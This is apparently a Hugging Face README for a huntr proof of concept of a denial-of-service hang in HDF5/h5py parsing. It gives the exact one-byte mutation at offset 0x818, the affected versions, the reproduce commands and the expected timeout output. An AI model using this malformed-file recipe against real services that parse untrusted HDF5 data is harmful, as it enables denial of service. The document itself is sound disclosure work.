---
license: mit
tags:
  - security
  - hdf5
  - h5py
  - denial-of-service
  - poc
  - huntr
---

# HDF5 vlen attribute/global heap hang PoC

This repository contains a minimal proof of concept for an HDF5 parser hang when
reading a single-byte malformed `.h5` file.

PoC URL: `https://huggingface.co/hacnho/hdf5-vlen-attr-global-heap-hang-poc`

## Summary

The control file is a valid 12,904-byte HDF5 file with two variable-length UTF-8
root attributes and a normal scaleoffset/gzip dataset. Changing one byte at
offset `0x818` from `0x1d` to `0x93` keeps the file openable, but reading root
attributes hangs in HDF5 global heap/vlen attribute handling.

Confirmed affected paths:

- `h5py==3.16.0` linked against official HDF5 `2.1.0`
- official HDF5 `2.1.0` `h5dump -A`
- stock `h5py==3.16.0` wheel with bundled HDF5 `2.0.0`

This is not the Fletcher32 crash. The PoC has no Fletcher32 filter.

## Reproduce

```bash
python3 -m venv /tmp/hdf5-vlen-attr-hang
/tmp/hdf5-vlen-attr-hang/bin/python -m pip install --upgrade pip
/tmp/hdf5-vlen-attr-hang/bin/python -m pip install -r requirements.txt
/tmp/hdf5-vlen-attr-hang/bin/python reproduce_hdf5_vlen_attr_global_heap_hang.py
```

Expected result:

```text
runtime_h5py=3.16.0
runtime_hdf5=2.1.0
mutation=offset 0x818: 0x1d -> 0x93

--- control ---
returncode=0

--- malicious ---
returncode=timeout_after_8s
stdout:
h5py=3.16.0 hdf5=2.1.0
opened
```

The malicious file opens successfully and hangs when root variable-length
attributes are read.

## Files

- `reproduce_hdf5_vlen_attr_global_heap_hang.py` - deterministic one-byte builder and reproducer.
- `control_scaleoffset_int.h5` - valid HDF5 control file.
- `hdf5_vlen_attr_global_heap_single_byte_hang.h5` - same-size file with one byte changed.
- `reproduce-output-hdf5-2.1.0.txt` - captured reproduction against HDF5 2.1.0.
- `scaleoffset-attr-hang-hdf5-2.1.0-gdb-bt.txt` - native stack snapshot.
- `h5dump-2.1.0-control.txt` and `h5dump-2.1.0-poc.txt` - HDF5 tool evidence.
- `environment.txt` - tested package and runtime versions.
- `duplicate-check.md` - local/public duplicate review.
- `report.md` - full report draft.
- `SHA256SUMS.txt` - artifact hashes.

## Notes

No code execution is claimed. The demonstrated impact is process-level denial of
service via unbounded CPU/hang in HDF5 global heap/vlen attribute parsing.